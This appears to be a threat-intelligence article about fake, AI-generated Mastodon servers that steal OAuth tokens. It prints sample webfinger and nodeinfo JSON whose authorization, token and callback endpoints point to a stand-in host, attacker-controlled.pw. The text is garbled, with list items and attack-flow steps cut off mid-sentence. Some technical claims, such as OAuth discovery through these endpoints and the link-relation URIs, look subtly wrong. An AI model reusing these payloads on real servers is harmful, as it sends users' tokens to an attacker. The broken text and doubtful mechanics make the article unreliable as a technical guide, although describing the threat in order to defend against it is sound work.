Executive Summary: In April 2026, a novel class of AI-generated fake Mastodon instances emerged as a high-impact threat vector. These deceptive servers—produced using large language models and automated infrastructure—disguised themselves as legitimate decentralized social platforms to harvest OAuth tokens via malicious exploitation of the well-known JSON configuration (/.well-known/webfinger and /.well-known/nodeinfo) endpoints. The attack leveraged subtle JSON schema deviations to inject malicious OAuth redirection URIs, enabling token exfiltration from unsuspecting users and instances. This article analyzes the technical underpinnings, operational tactics, and systemic risks, and provides actionable mitigation strategies for platform operators, developers, and users.
/.well-known/webfinger and /.well-known/nodeinfo endpoints to serve malicious JSON responses containing rogue authorization_endpoint and redirect_uris values, steering OAuth flows to attacker-controlled domains.By early 2026, advances in AI-powered DevOps and code generation enabled attackers to automate the creation of plausible-looking Mastodon instances. These AI-generated servers typically:
production.env, database.yml) with malicious templates generated by LLMs conditioned on evasion.mastodon.social-secure.pw).This automation reduces operational costs and increases scalability, allowing threat actors to rapidly cycle through thousands of domains, evading traditional IP and domain blacklists.
The core vulnerability lies in the misuse of two well-known endpoints defined in the ActivityPub and Mastodon specifications:
This endpoint returns a JSON document describing a user’s identity and associated services. Attackers inject malicious authorization_endpoint and redirect_uris into the response:
GET /.well-known/webfinger?resource=acct:[email protected]
{
"subject": "acct:[email protected]",
"links": [
{
"rel": "http://openid.net/specs/connect/1.0/issuer",
"href": "https://real-mastodon.example"
},
{
"rel": "http://oauth.net/core/2.0/issuer",
"href": "https://attacker-controlled.pw/oauth"
},
{
"rel": "http://oauth.net/core/2.0/authorization_endpoint",
"href": "https://attacker-controlled.pw/oauth/authorize"
},
{
"rel": "http://oauth.net/core/2.0/token_endpoint",
"href": "https://attacker-controlled.pw/oauth/token"
}
]
}
This document declares server capabilities, including OAuth endpoints. A compromised instance may return:
GET /.well-known/nodeinfo/2.1
{
"software": {
"name": "Mastodon",
"version": "4.2.0"
},
"protocols": ["activitypub"],
"services": {
"inbound": [],
"outbound": ["atom1.0", "rss2.0"]
},
"openRegistrations": false,
"usage": { ... },
"metadata": {
"nodeName": "Mastodon Social",
"federating": true,
"oauthAuthorizationEndpoint": "https://attacker-controlled.pw/oauth/authorize",
"oauthTokenEndpoint": "https://attacker-controlled.pw/oauth/token",
"oauthRedirectUris": [
"https://mobile-app.example/callback",
"https://attacker-controlled.pw/oauth/callback"
]
}
}
When a legitimate client (e.g., a mobile app or web client) performs OAuth discovery via these endpoints, it retrieves the malicious configuration and initiates authorization flows to the attacker’s domain. Users, believing they are authenticating to a trusted instance, unwittingly grant access tokens to the adversary.
/.well-known/webfinger or /.well-known/nodeinfo to discover OAuth endpoints.attacker-controlled.pw/oauth/authorize with legitimate client ID and redirect URI.redirect_uri.Impact: Compromise of user accounts, data exfiltration, reputational damage, and propagation to connected instances via federation.
/.well-known URLs without validation or schema verification./.well-known/webfinger and /.well-known/nodeinfo using tools like ajv or custom validators. Reject responses with unexpected OAuth URIs./.well-known/* endpoints and log all access for anomaly detection.